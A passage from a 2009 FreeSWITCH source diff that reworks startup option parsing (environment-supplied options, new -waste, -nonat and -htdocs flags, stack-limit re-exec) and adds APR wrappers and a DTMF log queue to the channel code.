 	/*  we have to initialize the service-specific stuff */
 	memset(&status, 0, sizeof(SERVICE_STATUS));
@@ -263,53 +269,84 @@
 #endif
 	int nc = 0;					/* TRUE if we are running in noconsole mode */
 	pid_t pid = 0;
-	int x;
-	int die = 0;
+	int i,x;
+	char *opts;
+	char opts_str[1024] = "";
+	char *local_argv[1024] = { 0 };
+	char *arg_argv[128] = { 0 };
 	char *usageDesc;
 	int alt_dirs = 0;
 	int known_opt;
 	int high_prio = 0;
+#ifdef __sun
 	switch_core_flag_t flags = SCF_USE_SQL;
+#else
+	switch_core_flag_t flags = SCF_USE_SQL | SCF_USE_AUTO_NAT;
+#endif
 	int ret = 0;
 	switch_status_t destroy_status;
 	switch_file_t *fd;
 	switch_memory_pool_t *pool = NULL;
+#ifdef HAVE_SETRLIMIT
+	struct rlimit rlp;
+	int waste = 0;
+#endif
 
+	for (x = 0; x < argc; x++) {
+		local_argv[x] = argv[x];
+	}
+
+	if ((opts = getenv("FREESWITCH_OPTS"))) {
+		strncpy(opts_str, opts, sizeof(opts_str) - 1);
+		i = switch_separate_string(opts_str, ' ', arg_argv, (sizeof(arg_argv) / sizeof(arg_argv[0])));
+		for (x = 0; x < i; x++) {
+			local_argv[argc++] = arg_argv[x];
+		}
+	}
+
+
+	if (local_argv[0] && strstr(local_argv[0], "freeswitchd")) {
+		nc++;
+	}
+
 	usageDesc = "these are the optional arguments you can pass to freeswitch\n"
 #ifdef WIN32
-		"\t-service [name]  -- start freeswitch as a service, cannot be used if loaded as a console app\n"
-		"\t-install [name]  -- install freeswitch as a service, with optional service name\n"
-		"\t-uninstall       -- remove freeswitch as a service\n"
+		"\t-service [name]        -- start freeswitch as a service, cannot be used if loaded as a console app\n"
+		"\t-install [name]        -- install freeswitch as a service, with optional service name\n"
+		"\t-uninstall             -- remove freeswitch as a service\n"
 #else
-		"\t-nf              -- no forking\n"
-		"\t-u [user]        -- specify user to switch to\n"
-		"\t-g [group]       -- specify group to switch to\n"
+		"\t-nf                    -- no forking\n"
+		"\t-u [user]              -- specify user to switch to\n"
+		"\t-g [group]             -- specify group to switch to\n"
 #endif
-		"\t-help            -- this message\n"
+		"\t-help                  -- this message\n"
 #ifdef HAVE_SETRLIMIT
-		"\t-core            -- dump cores\n"
+		"\t-waste                 -- allow memory waste\n"
+		"\t-core                  -- dump cores\n"
 #endif
-		"\t-hp              -- enable high priority settings\n"
-		"\t-vg              -- run under valgrind\n"
-		"\t-nosql           -- disable internal sql scoreboard\n"
-		"\t-stop            -- stop freeswitch\n"
-		"\t-nc              -- do not output to a console and background\n"
-		"\t-c              -- output to a console and stay in the foreground\n"
-		"\t-conf [confdir]  -- specify an alternate config dir\n"
-		"\t-log [logdir]    -- specify an alternate log dir\n"
-		"\t-db [dbdir]      -- specify an alternate db dir\n"
-		"\t-mod [moddir]    -- specify an alternate mod dir\n"
-		"\t-scripts [scriptsdir]      -- specify an alternate scripts dir\n";
+		"\t-hp                    -- enable high priority settings\n"
+		"\t-vg                    -- run under valgrind\n"
+		"\t-nosql                 -- disable internal sql scoreboard\n"
+		"\t-nonat                 -- disable auto nat detection\n"
+		"\t-stop                  -- stop freeswitch\n"
+		"\t-nc                    -- do not output to a console and background\n"
+		"\t-c                     -- output to a console and stay in the foreground\n"
+		"\t-conf [confdir]        -- specify an alternate config dir\n"
+		"\t-log [logdir]          -- specify an alternate log dir\n"
+		"\t-db [dbdir]            -- specify an alternate db dir\n"
+		"\t-mod [moddir]          -- specify an alternate mod dir\n"
+		"\t-htdocs [htdocsdir]    -- specify an alternate htdocs dir\n"
+		"\t-scripts [scriptsdir]  -- specify an alternate scripts dir\n";
 
 	for (x = 1; x < argc; x++) {
 		known_opt = 0;
 #ifdef WIN32
 		if (x == 1) {
-			if (argv[x] && !strcmp(argv[x], "-service")) {
+			if (local_argv[x] && !strcmp(local_argv[x], "-service")) {
 				/* New installs will always have the service name specified, but keep a default for compat */
 				x++;
-				if (argv[x] && strlen(argv[x])) {
-					switch_copy_string(service_name, argv[x], SERVICENAME_MAXLEN);
+				if (local_argv[x] && strlen(local_argv[x])) {
+					switch_copy_string(service_name, local_argv[x], SERVICENAME_MAXLEN);
 				} else {
 					switch_copy_string(service_name, SERVICENAME_DEFAULT, SERVICENAME_MAXLEN);
 				}
@@ -327,12 +364,12 @@
 					exit(0);
 				}
 			}
-			if (argv[x] && !strcmp(argv[x], "-install")) {
+			if (local_argv[x] && !strcmp(local_argv[x], "-install")) {
 				char exePath[1024];
 				char servicePath[1024];
 				x++;
-				if (argv[x] && strlen(argv[x])) {
-					switch_copy_string(service_name, argv[x], SERVICENAME_MAXLEN);
+				if (local_argv[x] && strlen(local_argv[x])) {
+					switch_copy_string(service_name, local_argv[x], SERVICENAME_MAXLEN);
 				} else {
 					switch_copy_string(service_name, SERVICENAME_DEFAULT, SERVICENAME_MAXLEN);
 				}
@@ -352,7 +389,7 @@
 											 GENERIC_READ | GENERIC_EXECUTE | SERVICE_CHANGE_CONFIG,
 											 SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, 
 											 servicePath, NULL, NULL, NULL,
-											 "NT AUTHORITY\\NetworkService",  /* Service start name */
+											 NULL,  /* Service start name */
 											 NULL);
 					if (!hService) {
 						fprintf(stderr, "Error creating freeswitch service (%d).\n", GetLastError());
@@ -369,10 +406,11 @@
 					exit(0);
 				}
 			}
-			if (argv[x] && !strcmp(argv[x], "-uninstall")) {
+
+			if (local_argv[x] && !strcmp(local_argv[x], "-uninstall")) {
 				x++;
-				if (argv[x] && strlen(argv[x])) {
-					switch_copy_string(service_name, argv[x], SERVICENAME_MAXLEN);
+				if (local_argv[x] && strlen(local_argv[x])) {
+					switch_copy_string(service_name, local_argv[x], SERVICENAME_MAXLEN);
 				} else {
 					switch_copy_string(service_name, SERVICENAME_DEFAULT, SERVICENAME_MAXLEN);
 				}
@@ -401,77 +439,85 @@
 		}
 
 #else
-		if (argv[x] && !strcmp(argv[x], "-u")) {
+		if (local_argv[x] && !strcmp(local_argv[x], "-u")) {
 			x++;
-			if (argv[x] && strlen(argv[x])) {
-				runas_user = argv[x];
+			if (local_argv[x] && strlen(local_argv[x])) {
+				runas_user = local_argv[x];
 			}
 			known_opt++;
 		}
 
-		if (argv[x] && !strcmp(argv[x], "-g")) {
+		if (local_argv[x] && !strcmp(local_argv[x], "-g")) {
 			x++;
-			if (argv[x] && strlen(argv[x])) {
-				runas_group = argv[x];
+			if (local_argv[x] && strlen(local_argv[x])) {
+				runas_group = local_argv[x];
 			}
 			known_opt++;
 		}
 
-		if (argv[x] && !strcmp(argv[x], "-nf")) {
+		if (local_argv[x] && !strcmp(local_argv[x], "-nf")) {
 			nf++;
 			known_opt++;
 		}
 #endif
 #ifdef HAVE_SETRLIMIT
-		if (argv[x] && !strcmp(argv[x], "-core")) {
-			struct rlimit rlp;
+		if (local_argv[x] && !strcmp(local_argv[x], "-core")) {
 			memset(&rlp, 0, sizeof(rlp));
 			rlp.rlim_cur = RLIM_INFINITY;
 			rlp.rlim_max = RLIM_INFINITY;
 			setrlimit(RLIMIT_CORE, &rlp);
 			known_opt++;
 		}
+
+		if (local_argv[x] && !strcmp(local_argv[x], "-waste")) {
+			waste++;
+			known_opt++;
+		}
 #endif
 
-		if (argv[x] && !strcmp(argv[x], "-hp")) {
+		if (local_argv[x] && !strcmp(local_argv[x], "-hp")) {
 			high_prio++;
 			known_opt++;
 		}
 
-		if (argv[x] && !strcmp(argv[x], "-nosql")) {
+		if (local_argv[x] && !strcmp(local_argv[x], "-nosql")) {
 			flags &= ~SCF_USE_SQL;
 			known_opt++;
 		}
 
-		if (argv[x] && !strcmp(argv[x], "-vg")) {
-			flags |= SCF_VG;
+		if (local_argv[x] && !strcmp(local_argv[x], "-nonat")) {
+			flags &= ~SCF_USE_AUTO_NAT;
 			known_opt++;
 		}
 
-		if (argv[x] && !strcmp(argv[x], "-stop")) {
-			die++;
+		if (local_argv[x] && !strcmp(local_argv[x], "-vg")) {
+			flags |= SCF_VG;
 			known_opt++;
 		}
 
-		if (argv[x] && !strcmp(argv[x], "-nc")) {
+		if (local_argv[x] && !strcmp(local_argv[x], "-stop")) {
+				return freeswitch_kill_background();
+		}
+
+		if (local_argv[x] && !strcmp(local_argv[x], "-nc")) {
 			nc++;
 			known_opt++;
 		}
 
-		if (argv[x] && !strcmp(argv[x], "-c")) {
+		if (local_argv[x] && !strcmp(local_argv[x], "-c")) {
 			nc = 0;
 			known_opt++;
 		}
 
-		if (argv[x] && !strcmp(argv[x], "-conf")) {
+		if (local_argv[x] && !strcmp(local_argv[x], "-conf")) {
 			x++;
-			if (argv[x] && strlen(argv[x])) {
-				SWITCH_GLOBAL_dirs.conf_dir = (char *) malloc(strlen(argv[x]) + 1);
+			if (local_argv[x] && strlen(local_argv[x])) {
+				SWITCH_GLOBAL_dirs.conf_dir = (char *) malloc(strlen(local_argv[x]) + 1);
 				if (!SWITCH_GLOBAL_dirs.conf_dir) {
 					fprintf(stderr, "Allocation error\n");
 					return 255;
 				}
-				strcpy(SWITCH_GLOBAL_dirs.conf_dir, argv[x]);
+				strcpy(SWITCH_GLOBAL_dirs.conf_dir, local_argv[x]);
 				alt_dirs++;
 			} else {
 				fprintf(stderr, "When using -conf you must specify a config directory\n");
@@ -480,15 +526,15 @@
 			known_opt++;
 		}
 
-		if (argv[x] && !strcmp(argv[x], "-mod")) {
+		if (local_argv[x] && !strcmp(local_argv[x], "-mod")) {
 			x++;
-			if (argv[x] && strlen(argv[x])) {
-				SWITCH_GLOBAL_dirs.mod_dir = (char *) malloc(strlen(argv[x]) + 1);
+			if (local_argv[x] && strlen(local_argv[x])) {
+				SWITCH_GLOBAL_dirs.mod_dir = (char *) malloc(strlen(local_argv[x]) + 1);
 				if (!SWITCH_GLOBAL_dirs.mod_dir) {
 					fprintf(stderr, "Allocation error\n");
 					return 255;
 				}
-				strcpy(SWITCH_GLOBAL_dirs.mod_dir, argv[x]);
+				strcpy(SWITCH_GLOBAL_dirs.mod_dir, local_argv[x]);
 			} else {
 				fprintf(stderr, "When using -mod you must specify a module directory\n");
 				return 255;
@@ -496,15 +542,15 @@
 			known_opt++;
 		}
 				
-		if (argv[x] && !strcmp(argv[x], "-log")) {
+		if (local_argv[x] && !strcmp(local_argv[x], "-log")) {
 			x++;
-			if (argv[x] && strlen(argv[x])) {
-				SWITCH_GLOBAL_dirs.log_dir = (char *) malloc(strlen(argv[x]) + 1);
+			if (local_argv[x] && strlen(local_argv[x])) {
+				SWITCH_GLOBAL_dirs.log_dir = (char *) malloc(strlen(local_argv[x]) + 1);
 				if (!SWITCH_GLOBAL_dirs.log_dir) {
 					fprintf(stderr, "Allocation error\n");
 					return 255;
 				}
-				strcpy(SWITCH_GLOBAL_dirs.log_dir, argv[x]);
+				strcpy(SWITCH_GLOBAL_dirs.log_dir, local_argv[x]);
 				alt_dirs++;
 			} else {
 				fprintf(stderr, "When using -log you must specify a log directory\n");
@@ -513,15 +559,15 @@
 			known_opt++;
 		}
 
-		if (argv[x] && !strcmp(argv[x], "-db")) {
+		if (local_argv[x] && !strcmp(local_argv[x], "-db")) {
 			x++;
-			if (argv[x] && strlen(argv[x])) {
-				SWITCH_GLOBAL_dirs.db_dir = (char *) malloc(strlen(argv[x]) + 1);
+			if (local_argv[x] && strlen(local_argv[x])) {
+				SWITCH_GLOBAL_dirs.db_dir = (char *) malloc(strlen(local_argv[x]) + 1);
 				if (!SWITCH_GLOBAL_dirs.db_dir) {
 					fprintf(stderr, "Allocation error\n");
 					return 255;
 				}
-				strcpy(SWITCH_GLOBAL_dirs.db_dir, argv[x]);
+				strcpy(SWITCH_GLOBAL_dirs.db_dir, local_argv[x]);
 				alt_dirs++;
 			} else {
 				fprintf(stderr, "When using -db you must specify a db directory\n");
@@ -530,15 +576,15 @@
 			known_opt++;
 		}
 
-		if (argv[x] && !strcmp(argv[x], "-scripts")) {
+		if (local_argv[x] && !strcmp(local_argv[x], "-scripts")) {
 			x++;
-			if (argv[x] && strlen(argv[x])) {
-				SWITCH_GLOBAL_dirs.script_dir = (char *) malloc(strlen(argv[x]) + 1);
+			if (local_argv[x] && strlen(local_argv[x])) {
+				SWITCH_GLOBAL_dirs.script_dir = (char *) malloc(strlen(local_argv[x]) + 1);
 				if (!SWITCH_GLOBAL_dirs.script_dir) {
 					fprintf(stderr, "Allocation error\n");
 					return 255;
 				}
-				strcpy(SWITCH_GLOBAL_dirs.script_dir, argv[x]);
+				strcpy(SWITCH_GLOBAL_dirs.script_dir, local_argv[x]);
 			} else {
 				fprintf(stderr, "When using -scripts you must specify a scripts directory\n");
 				return 255;
@@ -546,7 +592,23 @@
 			known_opt++;
 		}
 
-		if (!known_opt || (argv[x] && (!strcmp(argv[x], "-help") || !strcmp(argv[x], "-h") || !strcmp(argv[x], "-?")))) {
+		if (local_argv[x] && !strcmp(local_argv[x], "-htdocs")) {
+			x++;
+			if (local_argv[x] && strlen(local_argv[x])) {
+				SWITCH_GLOBAL_dirs.htdocs_dir = (char *) malloc(strlen(local_argv[x]) + 1);
+				if (!SWITCH_GLOBAL_dirs.htdocs_dir) {
+					fprintf(stderr, "Allocation error\n");
+					return 255;
+				}
+				strcpy(SWITCH_GLOBAL_dirs.htdocs_dir, local_argv[x]);
+			} else {
+				fprintf(stderr, "When using -htdocs you must specify a htdocs directory\n");
+				return 255;
+			}
+			known_opt++;
+		}
+
+		if (!known_opt || (local_argv[x] && (!strcmp(local_argv[x], "-help") || !strcmp(local_argv[x], "-h") || !strcmp(local_argv[x], "-?")))) {
 			printf("%s\n", usageDesc);
 			exit(0);
 		}
@@ -557,10 +619,6 @@
 		return 255;
 	}
 
-	if (die) {
-		return freeswitch_kill_background();
-	}
-
 	if (alt_dirs && alt_dirs != 3) {
 		fprintf(stderr, "You must specify all or none of -conf, -log, and -db\n");
 		return 255;
@@ -579,12 +637,45 @@
 #endif
 	}
 
+#if defined(HAVE_SETRLIMIT) && !defined(__sun)
+	if (!waste && !(flags & SCF_VG)) {
+		memset(&rlp, 0, sizeof(rlp));
+		getrlimit(RLIMIT_STACK, &rlp);
+		if (rlp.rlim_max > SWITCH_THREAD_STACKSIZE) {
+			char buf[1024] = "";
+			int i = 0;
+
+			fprintf(stderr, "Error: stacksize %d is too large: run ulimit -s %d or run %s -waste.\nauto-adjusting stack size for optimal performance....\n", 
+					(int)(rlp.rlim_max / 1024), SWITCH_THREAD_STACKSIZE / 1024, local_argv[0]);
+
+			memset(&rlp, 0, sizeof(rlp));
+			rlp.rlim_cur = SWITCH_THREAD_STACKSIZE;
+			rlp.rlim_max = SWITCH_THREAD_STACKSIZE;
+			setrlimit(RLIMIT_STACK, &rlp);
+
+			apr_terminate();
+			ret = (int)execv(local_argv[0], local_argv);
+			
+			for(i = 0; i < argc; i++) {
+				switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "%s ", local_argv[i]);
+			}
+
+			return system(buf);
+					
+		}
+	}
+#endif
+
+
+
+
 	if (high_prio) {
 		set_high_priority();
 	}
 
 	switch_core_setrlimits();
 
+
 #ifndef WIN32
 	if (runas_user || runas_group) {
 		if (change_user_group(runas_user, runas_group) < 0) {
@@ -654,14 +745,15 @@
 
 	if (destroy_status == SWITCH_STATUS_RESTART) {
 		char buf[1024] = "";
-		int i = 0;
+		int j = 0;
 		
+		switch_assert(local_argv[0]);
 		switch_sleep(1000000);
-		ret = (int)execv(argv[0], argv);
+		ret = (int)execv(local_argv[0], local_argv);
 		fprintf(stderr, "Restart Failed [%s] resorting to plan b\n", strerror(errno));
 
-		for(i = 0; i < argc; i++) {
-			switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "%s ", argv[i]);
+		for(j = 0; j < argc; j++) {
+			switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "%s ", local_argv[j]);
 		}
 
 		ret = system(buf);

Modified: freeswitch/branches/seven/src/switch_apr.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_apr.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_apr.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -71,7 +71,11 @@
 
 SWITCH_DECLARE(switch_thread_id_t) switch_thread_self(void)
 {
+#ifndef WIN32
 	return apr_os_thread_current();
+#else
+	return (switch_thread_id_t)(GetCurrentThreadId());
+#endif
 }
 
 SWITCH_DECLARE(void) switch_pool_clear(switch_memory_pool_t *p)
@@ -314,12 +318,12 @@
 
 SWITCH_DECLARE(switch_status_t) switch_time_exp_gmt_get(switch_time_t *result, switch_time_exp_t *input)
 {
-	return apr_time_exp_gmt_get(result, (apr_time_exp_t *) input);
+	return apr_time_exp_gmt_get((apr_time_t *)result, (apr_time_exp_t *) input);
 }
 
 SWITCH_DECLARE(switch_status_t) switch_time_exp_get(switch_time_t *result, switch_time_exp_t *input)
 {
-	return apr_time_exp_get(result, (apr_time_exp_t *) input);
+	return apr_time_exp_get((apr_time_t *)result, (apr_time_exp_t *) input);
 }
 
 SWITCH_DECLARE(switch_status_t) switch_time_exp_lt(switch_time_exp_t *result, switch_time_t input)
@@ -679,11 +683,11 @@
 		need = req - wrote;
 		status = apr_socket_send(sock, buf + wrote, &need);
 		if (status == SWITCH_STATUS_BREAK || status == 730035) {
-			if (++to_count > 10000) {
+			if (++to_count > 10000000) {
 				status = SWITCH_STATUS_FALSE;
 				break;
 			}
-			switch_cond_next();
+			switch_yield(10000);
 		} else {
 			to_count = 0;
 		}
@@ -728,12 +732,22 @@
 	return apr_sockaddr_ip_get(addr, sa);
 }
 
+SWITCH_DECLARE(int) switch_sockaddr_equal(const switch_sockaddr_t *sa1, const switch_sockaddr_t *sa2)
+{
+	return apr_sockaddr_equal(sa1, sa2);
+}
+
 SWITCH_DECLARE(switch_status_t) switch_mcast_join(switch_socket_t *sock, switch_sockaddr_t *join, switch_sockaddr_t *iface, switch_sockaddr_t *source)
 {
 	return apr_mcast_join(sock, join, iface, source);
 }
 
+SWITCH_DECLARE(switch_status_t) switch_mcast_hops(switch_socket_t *sock, uint8_t ttl)
+{
+	return apr_mcast_hops(sock, ttl);
+}
 
+
 /* socket functions */
 
 SWITCH_DECLARE(const char *) switch_get_addr(char *buf, switch_size_t len, switch_sockaddr_t *in)
@@ -786,12 +800,26 @@
 
 SWITCH_DECLARE(switch_status_t) switch_pollset_add(switch_pollset_t *pollset, const switch_pollfd_t *descriptor)
 {
-	return apr_pollset_add((apr_pollset_t *)pollset, (apr_pollfd_t *)descriptor);
+	if (!pollset) {
+		return SWITCH_STATUS_FALSE;
+	}
+	
+	return apr_pollset_add((apr_pollset_t *)pollset, (const apr_pollfd_t *)descriptor);
 }
 
 SWITCH_DECLARE(switch_status_t) switch_poll(switch_pollfd_t *aprset, int32_t numsock, int32_t *nsds, switch_interval_time_t timeout)
 {
-	return apr_poll((apr_pollfd_t *)aprset, numsock, nsds, timeout);
+	apr_status_t st = SWITCH_STATUS_FALSE;
+	
+	if (aprset) {
+		st = apr_poll((apr_pollfd_t *)aprset, numsock, nsds, timeout);
+
+		if (st == APR_TIMEUP) {
+			st = SWITCH_STATUS_TIMEOUT;
+		}
+	}
+
+	return st;
 }
 
 SWITCH_DECLARE(switch_status_t) switch_socket_create_pollfd(switch_pollfd_t **poll, switch_socket_t *sock, int16_t flags, switch_memory_pool_t *pool)
@@ -895,6 +923,11 @@
 	return apr_queue_trypop(queue, data);
 }
 
+SWITCH_DECLARE(switch_status_t) switch_queue_interrupt_all(switch_queue_t *queue)
+{
+	return apr_queue_interrupt_all(queue);
+}
+
 SWITCH_DECLARE(switch_status_t) switch_queue_trypush(switch_queue_t *queue, void *data)
 {
 	apr_status_t s;

Modified: freeswitch/branches/seven/src/switch_buffer.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_buffer.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_buffer.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_buffer.c -- Data Buffering Code

Modified: freeswitch/branches/seven/src/switch_caller.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_caller.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_caller.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
 
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_caller.c -- Caller Identification
@@ -50,7 +50,8 @@
 	switch_caller_profile_t *profile = NULL;
 
 	profile = switch_core_alloc(pool, sizeof(*profile));
-	switch_assert(profile != NULL);
+	switch_assert(profile != NULL);	
+	memset(profile, 0, sizeof(*profile));
 
 	if (!context) {
 		context = "default";

Modified: freeswitch/branches/seven/src/switch_channel.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_channel.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_channel.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,7 @@
+
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +18,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  *
  *
@@ -108,9 +109,12 @@
 
 struct switch_channel {
 	char *name;
+	switch_call_direction_t direction;
 	switch_queue_t *dtmf_queue;
+	switch_queue_t *dtmf_log_queue;
 	switch_mutex_t *dtmf_mutex;
 	switch_mutex_t *flag_mutex;
+	switch_mutex_t *state_mutex;
 	switch_mutex_t *profile_mutex;
 	switch_core_session_t *session;
 	switch_channel_state_t state;
@@ -208,24 +212,32 @@
 	return times;
 }
 
-SWITCH_DECLARE(switch_status_t) switch_channel_alloc(switch_channel_t **channel, switch_memory_pool_t *pool)
+SWITCH_DECLARE(switch_call_direction_t) switch_channel_direction(switch_channel_t *channel)
 {
+	return channel->direction;
+}
+
+SWITCH_DECLARE(switch_status_t) switch_channel_alloc(switch_channel_t **channel, switch_call_direction_t direction, switch_memory_pool_t *pool)
+{
 	switch_assert(pool != NULL);
 
 	if (((*channel) = switch_core_alloc(pool, sizeof(switch_channel_t))) == 0) {
 		return SWITCH_STATUS_MEMERR;
 	}
 
-	switch_event_create(&(*channel)->variables, SWITCH_EVENT_GENERAL);
+	switch_event_create_plain(&(*channel)->variables, SWITCH_EVENT_CHANNEL_DATA);
 
 	switch_core_hash_init(&(*channel)->private_hash, pool);
-	switch_queue_create(&(*channel)->dtmf_queue, 128, pool);
+	switch_queue_create(&(*channel)->dtmf_queue, SWITCH_DTMF_LOG_LEN, pool);
+	switch_queue_create(&(*channel)->dtmf_log_queue, SWITCH_DTMF_LOG_LEN, pool);
 
 	switch_mutex_init(&(*channel)->dtmf_mutex, SWITCH_MUTEX_NESTED, pool);
 	switch_mutex_init(&(*channel)->flag_mutex, SWITCH_MUTEX_NESTED, pool);
+	switch_mutex_init(&(*channel)->state_mutex, SWITCH_MUTEX_NESTED, pool);
 	switch_mutex_init(&(*channel)->profile_mutex, SWITCH_MUTEX_NESTED, pool);
 	(*channel)->hangup_cause = SWITCH_CAUSE_NONE;
 	(*channel)->name = "";
+	(*channel)->direction = direction;
 
 	return SWITCH_STATUS_SUCCESS;
 }
@@ -272,7 +284,9 @@
 		*dt = new_dtmf;
 
 		while (switch_queue_trypush(channel->dtmf_queue, dt) != SWITCH_STATUS_SUCCESS) {
-			switch_queue_trypop(channel->dtmf_queue, &pop);
+			if (switch_queue_trypop(channel->dtmf_queue, &pop) == SWITCH_STATUS_SUCCESS) {
+				free(pop);
+			}
 			if (++x > 100) {
 				status = SWITCH_STATUS_FALSE;
 				free(dt);
@@ -352,8 +366,13 @@
 	if (switch_queue_trypop(channel->dtmf_queue, &pop) == SWITCH_STATUS_SUCCESS) {
 		dt = (switch_dtmf_t *) pop;
 		*dtmf = *dt;
-		free(dt);
 
+		if (switch_queue_trypush(channel->dtmf_log_queue, dt) != SWITCH_STATUS_SUCCESS) {
+			free(dt);			
+		}
+		
+		dt = NULL;
+
 		if (dtmf->duration > switch_core_max_dtmf_duration(0)) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "%s EXCESSIVE DTMF DIGIT [%c] LEN [%d]\n",
 							  switch_channel_get_name(channel), dtmf->digit, dtmf->duration);
@@ -370,7 +389,11 @@
 		switch_channel_event_set_data(channel, event);
 		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "DTMF-Digit", "%c", dtmf->digit);
 		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "DTMF-Duration", "%u", dtmf->duration);
-		switch_event_fire(&event);
+		if (switch_channel_test_flag(channel, CF_DIVERT_EVENTS)) {
+			switch_core_session_queue_event(channel->session, &event);
+		} else {
+			switch_event_fire(&event);
+		}
 	}
 
 	return status;
@@ -394,16 +417,24 @@
 SWITCH_DECLARE(void) switch_channel_flush_dtmf(switch_channel_t *channel)
 {
 	void *pop;
+
 	switch_mutex_lock(channel->dtmf_mutex);
 	while (switch_queue_trypop(channel->dtmf_queue, &pop) == SWITCH_STATUS_SUCCESS) {
-		switch_safe_free(pop);
+		switch_dtmf_t *dt = (switch_dtmf_t *) pop;
+		if (channel->state >= CS_HANGUP || switch_queue_trypush(channel->dtmf_log_queue, dt) != SWITCH_STATUS_SUCCESS) {
+			free(dt);
+		}
 	}
 	switch_mutex_unlock(channel->dtmf_mutex);
 }
 
 SWITCH_DECLARE(void) switch_channel_uninit(switch_channel_t *channel)
 {
+	void *pop;
 	switch_channel_flush_dtmf(channel);
+	while (switch_queue_trypop(channel->dtmf_log_queue, &pop) == SWITCH_STATUS_SUCCESS) {
+		switch_safe_free(pop);
+	}
 	switch_core_hash_destroy(&channel->private_hash);
 	switch_mutex_lock(channel->profile_mutex);
 	switch_event_destroy(&channel->variables);
@@ -459,12 +490,12 @@
 
 SWITCH_DECLARE(const char *) switch_channel_get_variable(switch_channel_t *channel, const char *varname)
 {
-	const char *v = NULL;
+	const char *v = NULL, *r = NULL;
 	switch_assert(channel != NULL);
 
 	switch_mutex_lock(channel->profile_mutex);
-	if (!channel->variables || !(v = switch_event_get_header(channel->variables, (char *) varname))) {
-		switch_caller_profile_t *cp = channel->caller_profile;
+	if (!channel->variables || !(v = switch_event_get_header(channel->variables, varname))) {
+		switch_caller_profile_t *cp = switch_channel_get_caller_profile(channel);
 
 		if (cp) {
 			if (!strncmp(varname, "aleg_", 5)) {
@@ -480,15 +511,18 @@
 			v = switch_core_get_variable(varname);
 		}
 	}
+
+	if (v) r = switch_core_session_strdup(channel->session, v);
+	
 	switch_mutex_unlock(channel->profile_mutex);
 
-	return v;
+	return r;
 }
 
 SWITCH_DECLARE(const char *) switch_channel_get_variable_partner(switch_channel_t *channel, const char *varname)
 {
 	const char *uuid;
-	const char *val = NULL;
+	const char *val = NULL, *r = NULL;
 	switch_assert(channel != NULL);
 	
 	if (!switch_strlen_zero(varname)) {
@@ -502,7 +536,9 @@
 		}
 	}
 
-	return val;
+	if (val) r = switch_core_session_strdup(channel->session, val);
+
+	return r;
 }
 
 
@@ -578,10 +614,12 @@
 SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_var_check(switch_channel_t *channel, 
 																	  const char *varname, const char *value, switch_bool_t var_check)
 {
+	switch_status_t status = SWITCH_STATUS_FALSE;
+	
 	switch_assert(channel != NULL);
 
+	switch_mutex_lock(channel->profile_mutex);
